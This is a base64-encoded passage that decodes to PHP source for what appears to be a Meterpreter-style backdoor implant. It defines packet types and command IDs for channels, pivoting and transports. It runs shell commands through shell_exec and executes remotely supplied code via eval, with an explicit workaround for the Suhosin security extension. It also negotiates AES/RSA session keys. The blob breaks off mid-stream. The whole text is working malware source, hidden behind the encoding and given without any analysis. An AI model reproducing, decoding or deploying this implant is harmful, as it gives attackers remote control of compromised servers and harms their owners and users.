WVBFX05PTkUgfCAwKTsgZGVmaW5lKCJUTFZfVFlQRV9DT01NQU5EX0lEIiwgVExWX01FVEFfVFlQ
|
||||
RV9VSU5UIHwgMSk7IGRlZmluZSgiVExWX1RZUEVfUkVRVUVTVF9JRCIsIFRMVl9NRVRBX1RZUEVf
|
||||
U1RSSU5HIHwgMik7IGRlZmluZSgiVExWX1RZUEVfRVhDRVBUSU9OIiwgVExWX01FVEFfVFlQRV9H
|
||||
Uk9VUCB8IDMpOyBkZWZpbmUoIlRMVl9UWVBFX1JFU1VMVCIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8
|
||||
IDQpOyBkZWZpbmUoIlRMVl9UWVBFX1NUUklORyIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgMTAp
|
||||
OyBkZWZpbmUoIlRMVl9UWVBFX1VJTlQiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAxMSk7IGRlZmlu
|
||||
ZSgiVExWX1RZUEVfQk9PTCIsIFRMVl9NRVRBX1RZUEVfQk9PTCB8IDEyKTsgZGVmaW5lKCJUTFZf
|
||||
VFlQRV9MRU5HVEgiLCBUTFZfTUVUQV9UWVBFX1VJTlQgfCAyNSk7IGRlZmluZSgiVExWX1RZUEVf
|
||||
REFUQSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgMjYpOyBkZWZpbmUoIlRMVl9UWVBFX0ZMQUdTIiwg
|
||||
VExWX01FVEFfVFlQRV9VSU5UIHwgMjcpOyBkZWZpbmUoIlRMVl9UWVBFX0NIQU5ORUxfSUQiLCBU
|
||||
TFZfTUVUQV9UWVBFX1VJTlQgfCA1MCk7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9UWVBFIiwg
|
||||
VExWX01FVEFfVFlQRV9TVFJJTkcgfCA1MSk7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9EQVRB
|
||||
IiwgVExWX01FVEFfVFlQRV9SQVcgfCA1Mik7IGRlZmluZSgiVExWX1RZUEVfQ0hBTk5FTF9EQVRB
|
||||
X0dST1VQIiwgVExWX01FVEFfVFlQRV9HUk9VUCB8IDUzKTsgZGVmaW5lKCJUTFZfVFlQRV9DSEFO
|
||||
TkVMX0NMQVNTIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNTQpOyBkZWZpbmUoIlRMVl9UWVBFX1NF
|
||||
RUtfV0hFTkNFIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzApOyBkZWZpbmUoIlRMVl9UWVBFX1NF
|
||||
RUtfT0ZGU0VUIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzEpOyBkZWZpbmUoIlRMVl9UWVBFX1NF
|
||||
RUtfUE9TIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgNzIpOyBkZWZpbmUoIlRMVl9UWVBFX0VYQ0VQ
|
||||
VElPTl9DT0RFIiwgVExWX01FVEFfVFlQRV9VSU5UIHwgMzAwKTsgZGVmaW5lKCJUTFZfVFlQRV9F
|
||||
WENFUFRJT05fU1RSSU5HIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCAzMDEpOyBkZWZpbmUoIlRM
|
||||
Vl9UWVBFX0xJQlJBUllfUEFUSCIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgNDAwKTsgZGVmaW5l
|
||||
KCJUTFZfVFlQRV9UQVJHRVRfUEFUSCIsIFRMVl9NRVRBX1RZUEVfU1RSSU5HIHwgNDAxKTsgZGVm
|
||||
aW5lKCJUTFZfVFlQRV9NQUNISU5FX0lEIiwgVExWX01FVEFfVFlQRV9TVFJJTkcgfCA0NjApOyBk
|
||||
ZWZpbmUoIlRMVl9UWVBFX1VVSUQiLCBUTFZfTUVUQV9UWVBFX1JBVyB8IDQ2MSk7IGRlZmluZSgi
|
||||
VExWX1RZUEVfU0VTU0lPTl9HVUlEIiwgVExWX01FVEFfVFlQRV9SQVcgfCA0NjIpOyBkZWZpbmUo
|
||||
IlRMVl9UWVBFX1JTQV9QVUJfS0VZIiwgVExWX01FVEFfVFlQRV9SQVcgfCA1NTApOyBkZWZpbmUo
|
||||
IlRMVl9UWVBFX1NZTV9LRVlfVFlQRSIsIFRMVl9NRVRBX1RZUEVfVUlOVCB8IDU1MSk7IGRlZmlu
|
||||
ZSgiVExWX1RZUEVfU1lNX0tFWSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgNTUyKTsgZGVmaW5lKCJU
|
||||
TFZfVFlQRV9FTkNfU1lNX0tFWSIsIFRMVl9NRVRBX1RZUEVfUkFXIHwgNTUzKTsgZGVmaW5lKCdF
|
||||
WFRFTlNJT05fSURfQ09SRScsIDApOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX0NM
|
||||
T1NFJywgMSk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfRU9GJywgMik7IGRlZmlu
|
||||
ZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfSU5URVJBQ1QnLCAzKTsgZGVmaW5lKCdDT01NQU5E
|
||||
X0lEX0NPUkVfQ0hBTk5FTF9PUEVOJywgNCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX0NIQU5O
|
||||
RUxfUkVBRCcsIDUpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9DSEFOTkVMX1NFRUsnLCA2KTsg
|
||||
ZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9URUxMJywgNyk7IGRlZmluZSgnQ09NTUFO
|
||||
RF9JRF9DT1JFX0NIQU5ORUxfV1JJVEUnLCA4KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfQ09O
|
||||
U09MRV9XUklURScsIDkpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9FTlVNRVhUQ01EJywgMTAp
|
||||
OyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9HRVRfU0VTU0lPTl9HVUlEJywgMTEpOyBkZWZpbmUo
|
||||
J0NPTU1BTkRfSURfQ09SRV9MT0FETElCJywgMTIpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9N
|
||||
QUNISU5FX0lEJywgMTMpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9NSUdSQVRFJywgMTQpOyBk
|
||||
ZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9OQVRJVkVfQVJDSCcsIDE1KTsgZGVmaW5lKCdDT01NQU5E
|
||||
X0lEX0NPUkVfTkVHT1RJQVRFX1RMVl9FTkNSWVBUSU9OJywgMTYpOyBkZWZpbmUoJ0NPTU1BTkRf
|
||||
SURfQ09SRV9QQVRDSF9VUkwnLCAxNyk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1BJVk9UX0FE
|
||||
RCcsIDE4KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfUElWT1RfUkVNT1ZFJywgMTkpOyBkZWZp
|
||||
bmUoJ0NPTU1BTkRfSURfQ09SRV9QSVZPVF9TRVNTSU9OX0RJRUQnLCAyMCk7IGRlZmluZSgnQ09N
|
||||
TUFORF9JRF9DT1JFX1NFVF9TRVNTSU9OX0dVSUQnLCAyMSk7IGRlZmluZSgnQ09NTUFORF9JRF9D
|
||||
T1JFX1NFVF9VVUlEJywgMjIpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9TSFVURE9XTicsIDIz
|
||||
KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX0FERCcsIDI0KTsgZGVmaW5lKCdD
|
||||
T01NQU5EX0lEX0NPUkVfVFJBTlNQT1JUX0NIQU5HRScsIDI1KTsgZGVmaW5lKCdDT01NQU5EX0lE
|
||||
X0NPUkVfVFJBTlNQT1JUX0dFVENFUlRIQVNIJywgMjYpOyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09S
|
||||
RV9UUkFOU1BPUlRfTElTVCcsIDI3KTsgZGVmaW5lKCdDT01NQU5EX0lEX0NPUkVfVFJBTlNQT1JU
|
||||
X05FWFQnLCAyOCk7IGRlZmluZSgnQ09NTUFORF9JRF9DT1JFX1RSQU5TUE9SVF9QUkVWJywgMjkp
|
||||
OyBkZWZpbmUoJ0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfUkVNT1ZFJywgMzApOyBkZWZpbmUo
|
||||
J0NPTU1BTkRfSURfQ09SRV9UUkFOU1BPUlRfU0VUQ0VSVEhBU0gnLCAzMSk7IGRlZmluZSgnQ09N
|
||||
TUFORF9JRF9DT1JFX1RSQU5TUE9SVF9TRVRfVElNRU9VVFMnLCAzMik7IGRlZmluZSgnQ09NTUFO
|
||||
RF9JRF9DT1JFX1RSQU5TUE9SVF9TTEVFUCcsIDMzKTsgZnVuY3Rpb24gbXlfY21kKCRjbWQpIHsg
|
||||
cmV0dXJuIHNoZWxsX2V4ZWMoJGNtZCk7IH0gZnVuY3Rpb24gaXNfd2luZG93cygpIHsgcmV0dXJu
|
||||
IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIldJTiIpOyB9IGZ1bmN0aW9uIGlz
|
||||
X2xpbnV4KCkgeyByZXR1cm4gKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAiTElO
|
||||
Iik7IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF9vcGVuJykpIHsgcmVnaXN0
|
||||
ZXJfY29tbWFuZCgnY29yZV9jaGFubmVsX29wZW4nLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9P
|
||||
UEVOKTsgZnVuY3Rpb24gY29yZV9jaGFubmVsX29wZW4oJHJlcSwgJiRwa3QpIHsgJHR5cGVfdGx2
|
||||
ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfQ0hBTk5FTF9UWVBFKTsgbXlfcHJpbnQo
|
||||
IkNsaWVudCB3YW50cyBhICIuICR0eXBlX3RsdlsndmFsdWUnXSAuIiBjaGFubmVsLCBpJ2xsIHNl
|
||||
ZSB3aGF0IGkgY2FuIGRvIik7ICRoYW5kbGVyID0gImNoYW5uZWxfY3JlYXRlXyIuICR0eXBlX3Rs
|
||||
dlsndmFsdWUnXTsgaWYgKCR0eXBlX3RsdlsndmFsdWUnXSAmJiBpc19jYWxsYWJsZSgkaGFuZGxl
|
||||
cikpIHsgbXlfcHJpbnQoIkNhbGxpbmcgeyRoYW5kbGVyfSIpOyAkcmV0ID0gJGhhbmRsZXIoJHJl
|
||||
cSwgJHBrdCk7IH0gZWxzZSB7IG15X3ByaW50KCJJIGRvbid0IGtub3cgaG93IHRvIG1ha2UgYSAi
|
||||
LiAkdHlwZV90bHZbJ3ZhbHVlJ10gLiIgY2hhbm5lbC4gPSgiKTsgJHJldCA9IEVSUk9SX0ZBSUxV
|
||||
UkU7IH0gcmV0dXJuICRyZXQ7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9jaGFubmVs
|
||||
X2VvZicpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfY2hhbm5lbF9lb2YnLCBDT01NQU5EX0lE
|
||||
X0NPUkVfQ0hBTk5FTF9FT0YpOyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfZW9mKCRyZXEsICYkcGt0
|
||||
KSB7IG15X3ByaW50KCJkb2luZyBjaGFubmVsIGVvZiIpOyAkY2hhbl90bHYgPSBwYWNrZXRfZ2V0
|
||||
X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0lEKTsgJGMgPSBnZXRfY2hhbm5lbF9ieV9pZCgk
|
||||
Y2hhbl90bHZbJ3ZhbHVlJ10pOyBpZiAoJGMpIHsgaWYgKGVvZigkY1sxXSkpIHsgcGFja2V0X2Fk
|
||||
ZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9CT09MLCAxKSk7IH0gZWxzZSB7IHBhY2tl
|
||||
dF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQk9PTCwgMCkpOyB9IHJldHVybiBF
|
||||
UlJPUl9TVUNDRVNTOyB9IGVsc2UgeyByZXR1cm4gRVJST1JfRkFJTFVSRTsgfSB9IH0gaWYgKCFm
|
||||
dW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF9yZWFkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgn
|
||||
Y29yZV9jaGFubmVsX3JlYWQnLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9SRUFEKTsgZnVuY3Rp
|
||||
b24gY29yZV9jaGFubmVsX3JlYWQoJHJlcSwgJiRwa3QpIHsgbXlfcHJpbnQoImRvaW5nIGNoYW5u
|
||||
ZWwgcmVhZCIpOyAkY2hhbl90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFO
|
||||
TkVMX0lEKTsgJGxlbl90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9MRU5HVEgp
|
||||
OyAkaWQgPSAkY2hhbl90bHZbJ3ZhbHVlJ107ICRsZW4gPSAkbGVuX3RsdlsndmFsdWUnXTsgJGRh
|
||||
dGEgPSBjaGFubmVsX3JlYWQoJGlkLCAkbGVuKTsgaWYgKCRkYXRhID09PSBmYWxzZSkgeyAkcmVz
|
||||
ID0gRVJST1JfRkFJTFVSRTsgfSBlbHNlIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3Rs
|
||||
dihUTFZfVFlQRV9DSEFOTkVMX0RBVEEsICRkYXRhKSk7ICRyZXMgPSBFUlJPUl9TVUNDRVNTOyB9
|
||||
IHJldHVybiAkcmVzOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF93cml0
|
||||
ZScpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfY2hhbm5lbF93cml0ZScsIENPTU1BTkRfSURf
|
||||
Q09SRV9DSEFOTkVMX1dSSVRFKTsgZnVuY3Rpb24gY29yZV9jaGFubmVsX3dyaXRlKCRyZXEsICYk
|
||||
cGt0KSB7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxf
|
||||
SUQpOyAkZGF0YV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0RB
|
||||
VEEpOyAkbGVuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0xFTkdUSCk7ICRp
|
||||
ZCA9ICRjaGFuX3RsdlsndmFsdWUnXTsgJGRhdGEgPSAkZGF0YV90bHZbJ3ZhbHVlJ107ICRsZW4g
|
||||
PSAkbGVuX3RsdlsndmFsdWUnXTsgJHdyb3RlID0gY2hhbm5lbF93cml0ZSgkaWQsICRkYXRhLCAk
|
||||
bGVuKTsgaWYgKCR3cm90ZSA9PT0gZmFsc2UpIHsgcmV0dXJuIEVSUk9SX0ZBSUxVUkU7IH0gZWxz
|
||||
ZSB7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfTEVOR1RILCAkd3Jv
|
||||
dGUpKTsgcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdj
|
||||
b3JlX2NoYW5uZWxfY2xvc2UnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2NoYW5uZWxfY2xv
|
||||
c2UnLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9DTE9TRSk7IGZ1bmN0aW9uIGNvcmVfY2hhbm5l
|
||||
bF9jbG9zZSgkcmVxLCAmJHBrdCkgeyBnbG9iYWwgJGNoYW5uZWxfcHJvY2Vzc19tYXA7IG15X3By
|
||||
aW50KCJkb2luZyBjaGFubmVsIGNsb3NlIik7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRy
|
||||
ZXEsIFRMVl9UWVBFX0NIQU5ORUxfSUQpOyAkaWQgPSAkY2hhbl90bHZbJ3ZhbHVlJ107ICRjID0g
|
||||
Z2V0X2NoYW5uZWxfYnlfaWQoJGlkKTsgaWYgKCRjKSB7IGNoYW5uZWxfY2xvc2VfaGFuZGxlcygk
|
||||
aWQpOyBjaGFubmVsX3JlbW92ZSgkaWQpOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygkaWQsICRjaGFu
|
||||
bmVsX3Byb2Nlc3NfbWFwKSBhbmQgaXNfY2FsbGFibGUoJ2Nsb3NlX3Byb2Nlc3MnKSkgeyBjbG9z
|
||||
ZV9wcm9jZXNzKCRjaGFubmVsX3Byb2Nlc3NfbWFwWyRpZF0pOyB9IHJldHVybiBFUlJPUl9TVUND
|
||||
RVNTOyB9IGR1bXBfY2hhbm5lbHMoImFmdGVyIGNsb3NlIik7IHJldHVybiBFUlJPUl9GQUlMVVJF
|
||||
OyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NoYW5uZWxfY2xvc2VfaGFuZGxlcycpKSB7IGZ1
|
||||
bmN0aW9uIGNoYW5uZWxfY2xvc2VfaGFuZGxlcygkY2lkKSB7IGdsb2JhbCAkY2hhbm5lbHM7IGlm
|
||||
ICghYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2hhbm5lbHMpKSB7IHJldHVybjsgfSAkYyA9ICRj
|
||||
aGFubmVsc1skY2lkXTsgZm9yKCRpID0gMDsgJGkgPCAzOyAkaSsrKSB7IGlmIChhcnJheV9rZXlf
|
||||
ZXhpc3RzKCRpLCAkYykgJiYgaXNfcmVzb3VyY2UoJGNbJGldKSkgeyBjbG9zZSgkY1skaV0pOyBy
|
||||
ZW1vdmVfcmVhZGVyKCRjWyRpXSk7IH0gfSBpZiAoc3RybGVuKCRjWydkYXRhJ10pID09IDApIHsg
|
||||
Y2hhbm5lbF9yZW1vdmUoJGNpZCk7IH0gfSB9IGZ1bmN0aW9uIGNoYW5uZWxfcmVtb3ZlKCRjaWQp
|
||||
IHsgZ2xvYmFsICRjaGFubmVsczsgdW5zZXQoJGNoYW5uZWxzWyRjaWRdKTsgfSBpZiAoIWZ1bmN0
|
||||
aW9uX2V4aXN0cygnY29yZV9jaGFubmVsX2ludGVyYWN0JykpIHsgcmVnaXN0ZXJfY29tbWFuZCgn
|
||||
Y29yZV9jaGFubmVsX2ludGVyYWN0JywgQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfSU5URVJBQ1Qp
|
||||
OyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfaW50ZXJhY3QoJHJlcSwgJiRwa3QpIHsgZ2xvYmFsICRy
|
||||
ZWFkZXJzOyBteV9wcmludCgiZG9pbmcgY2hhbm5lbCBpbnRlcmFjdCIpOyAkY2hhbl90bHYgPSBw
|
||||
YWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0lEKTsgJGlkID0gJGNoYW5fdGx2
|
||||
Wyd2YWx1ZSddOyAkdG9nZ2xlX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0JP
|
||||
T0wpOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRpZCk7IGlmICgkYykgeyBpZiAoJHRvZ2dsZV90
|
||||
bHZbJ3ZhbHVlJ10pIHsgaWYgKCFpbl9hcnJheSgkY1sxXSwgJHJlYWRlcnMpKSB7IGFkZF9yZWFk
|
||||
ZXIoJGNbMV0pOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkYykgJiYgJGNbMV0gIT0gJGNbMl0p
|
||||
IHsgYWRkX3JlYWRlcigkY1syXSk7IH0gJHJldCA9IEVSUk9SX1NVQ0NFU1M7IH0gZWxzZSB7ICRy
|
||||
ZXQgPSBFUlJPUl9GQUlMVVJFOyB9IH0gZWxzZSB7IGlmIChpbl9hcnJheSgkY1sxXSwgJHJlYWRl
|
||||
cnMpKSB7IHJlbW92ZV9yZWFkZXIoJGNbMV0pOyByZW1vdmVfcmVhZGVyKCRjWzJdKTsgJHJldCA9
|
||||
IEVSUk9SX1NVQ0NFU1M7IH0gZWxzZSB7ICRyZXQgPSBFUlJPUl9TVUNDRVNTOyB9IH0gfSBlbHNl
|
||||
IHsgbXlfcHJpbnQoIlRyeWluZyB0byBpbnRlcmFjdCB3aXRoIGFuIGludmFsaWQgY2hhbm5lbCIp
|
||||
OyAkcmV0ID0gRVJST1JfRkFJTFVSRTsgfSByZXR1cm4gJHJldDsgfSB9IGZ1bmN0aW9uIGludGVy
|
||||
YWN0aW5nKCRjaWQpIHsgZ2xvYmFsICRyZWFkZXJzOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRj
|
||||
aWQpOyBpZiAoaW5fYXJyYXkoJGNbMV0sICRyZWFkZXJzKSkgeyByZXR1cm4gdHJ1ZTsgfSByZXR1
|
||||
cm4gZmFsc2U7IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfc2h1dGRvd24nKSkgeyByZWdp
|
||||
c3Rlcl9jb21tYW5kKCdjb3JlX3NodXRkb3duJywgQ09NTUFORF9JRF9DT1JFX1NIVVRET1dOKTsg
|
||||
ZnVuY3Rpb24gY29yZV9zaHV0ZG93bigkcmVxLCAmJHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29y
|
||||
ZSBzaHV0ZG93biIpOyBkaWUoKTsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2xvYWRs
|
||||
aWInKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2xvYWRsaWInLCBDT01NQU5EX0lEX0NPUkVf
|
||||
TE9BRExJQik7IGZ1bmN0aW9uIGNvcmVfbG9hZGxpYigkcmVxLCAmJHBrdCkgeyBnbG9iYWwgJGlk
|
||||
MmY7IG15X3ByaW50KCJkb2luZyBjb3JlX2xvYWRsaWIiKTsgJGRhdGFfdGx2ID0gcGFja2V0X2dl
|
||||
dF90bHYoJHJlcSwgVExWX1RZUEVfREFUQSk7IGlmICgoJGRhdGFfdGx2Wyd0eXBlJ10gJiBUTFZf
|
||||
TUVUQV9UWVBFX0NPTVBSRVNTRUQpID09IFRMVl9NRVRBX1RZUEVfQ09NUFJFU1NFRCkgeyByZXR1
|
||||
cm4gRVJST1JfRkFJTFVSRTsgfSAkdG1wID0gJGlkMmY7IGlmIChleHRlbnNpb25fbG9hZGVkKCdz
|
||||
dWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAk
|
||||
c3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkZGF0YV90bHZbJ3ZhbHVlJ10pOyAk
|
||||
c3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkZGF0YV90bHZbJ3ZhbHVlJ10pOyB9ICRu
|
||||
ZXcgPSBhcnJheV9kaWZmKCRpZDJmLCAkdG1wKTsgZm9yZWFjaCAoJG5ldyBhcyAkaWQgPT4gJGZ1
|
||||
bmMpIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VSU5ULCAkaWQp
|
||||
KTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3Jl
|
||||
X2VudW1leHRjbWQnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2VudW1leHRjbWQnLCBDT01N
|
||||
QU5EX0lEX0NPUkVfRU5VTUVYVENNRCk7IGZ1bmN0aW9uIGNvcmVfZW51bWV4dGNtZCgkcmVxLCAm
|
||||
JHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29yZV9lbnVtZXh0Y21kIik7IGdsb2JhbCAkaWQyZjsg
|
||||
JGlkX3N0YXJ0X2FycmF5ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfVUlOVCk7ICRp
|
||||
ZF9zdGFydCA9ICRpZF9zdGFydF9hcnJheVsndmFsdWUnXTsgJGlkX2VuZF9hcnJheSA9IHBhY2tl
|
||||
dF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0xFTkdUSCk7ICRpZF9lbmQgPSAkaWRfZW5kX2FycmF5
|
||||
Wyd2YWx1ZSddICsgJGlkX3N0YXJ0OyBmb3JlYWNoICgkaWQyZiBhcyAkaWQgPT4gJGV4dF9jbWQp
|
||||
IHsgbXlfcHJpbnQoImNvcmVfZW51bWV4dGNtZCAtIGNoZWNraW5nICIgLiAkZXh0X2NtZCAuICIg
|
||||
YXMgIiAuICRpZCk7IGxpc3QoJGV4dF9uYW1lLCAkY21kKSA9IGV4cGxvZGUoIl8iLCAkZXh0X2Nt
|
||||
ZCwgMik7IGlmICgkaWRfc3RhcnQgPCAkaWQgJiYgJGlkIDwgJGlkX2VuZCkgeyBteV9wcmludCgi
|
||||
Y29yZV9lbnVtZXh0Y21kIC0gYWRkaW5nICIgLiAkZXh0X2NtZCAuICIgYXMgIiAuICRpZCk7IHBh
|
||||
Y2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfVUlOVCwgJGlkKSk7IH0gfSBy
|
||||
ZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX3NldF91
|
||||
dWlkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9zZXRfdXVpZCcsIENPTU1BTkRfSURfQ09S
|
||||
RV9TRVRfVVVJRCk7IGZ1bmN0aW9uIGNvcmVfc2V0X3V1aWQoJHJlcSwgJiRwa3QpIHsgbXlfcHJp
|
||||
bnQoImRvaW5nIGNvcmVfc2V0X3V1aWQiKTsgJG5ld191dWlkID0gcGFja2V0X2dldF90bHYoJHJl
|
||||
cSwgVExWX1RZUEVfVVVJRCk7IGlmICgkbmV3X3V1aWQgIT0gbnVsbCkgeyAkR0xPQkFMU1snVVVJ
|
||||
RCddID0gJG5ld191dWlkWyd2YWx1ZSddOyBteV9wcmludCgiTmV3IFVVSUQgaXMgeyRHTE9CQUxT
|
||||
WydVVUlEJ119Iik7IH0gcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSBmdW5jdGlvbiBnZXRfaGRk
|
||||
X2xhYmVsKCkgeyBmb3JlYWNoIChzY2FuZGlyKCcvZGV2L2Rpc2svYnktaWQvJykgYXMgJGZpbGUp
|
||||
IHsgZm9yZWFjaCAoYXJyYXkoImF0YS0iLCAibWItIikgYXMgJHByZWZpeCkgeyBpZiAoc3RycG9z
|
||||
KCRmaWxlLCAkcHJlZml4KSA9PT0gMCkgeyByZXR1cm4gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJHBy
|
||||
ZWZpeCkpOyB9IH0gfSByZXR1cm4gIiI7IH0gZnVuY3Rpb24gZGVyX3RvX3BlbSgkZGVyX2RhdGEp
|
||||
IHsgJHBlbSA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGRlcl9kYXRhKSwgNjQsICJcbiIp
|
||||
OyAkcGVtID0gIi0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG4iLiRwZW0uIi0tLS0tRU5EIFBV
|
||||
QkxJQyBLRVktLS0tLVxuIjsgcmV0dXJuICRwZW07IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2Nv
|
||||
cmVfbmVnb3RpYXRlX3Rsdl9lbmNyeXB0aW9uJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9u
|
||||
ZWdvdGlhdGVfdGx2X2VuY3J5cHRpb24nLCBDT01NQU5EX0lEX0NPUkVfTkVHT1RJQVRFX1RMVl9F
|
||||
TkNSWVBUSU9OKTsgZnVuY3Rpb24gY29yZV9uZWdvdGlhdGVfdGx2X2VuY3J5cHRpb24oJHJlcSwg
|
||||
JiRwa3QpIHsgaWYgKHN1cHBvcnRzX2FlcygpKSB7IG15X3ByaW50KCJBRVMgZnVuY3Rpb25hbGl0
|
||||
eSBpcyBzdXBwb3J0ZWQiKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQ
|
||||
RV9TWU1fS0VZX1RZUEUsIEVOQ19BRVMyNTYpKTsgJEdMT0JBTFNbJ0FFU19FTkFCTEVEJ10gPSBm
|
||||
YWxzZTsgJEdMT0JBTFNbJ0FFU19LRVknXSA9IHJhbmRfYnl0ZXMoMzIpOyBpZiAoZnVuY3Rpb25f
|
||||
ZXhpc3RzKCdvcGVuc3NsX3BrZXlfZ2V0X3B1YmxpYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnb3Bl
|
||||
bnNzbF9wdWJsaWNfZW5jcnlwdCcpKSB7IG15X3ByaW50KCJFbmNyeXB0aW9uIHZpYSBwdWJsaWMg
|
||||
a2V5IGlzIHN1cHBvcnRlZCIpOyAkcHViX2tleV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBU
|
||||
TFZfVFlQRV9SU0FfUFVCX0tFWSk7IGlmICgkcHViX2tleV90bHYgIT0gbnVsbCkgeyAka2V5ID0g
|
||||
b3BlbnNzbF9wa2V5X2dldF9wdWJsaWMoZGVyX3RvX3BlbSgkcHViX2tleV90bHZbJ3ZhbHVlJ10p
|
||||
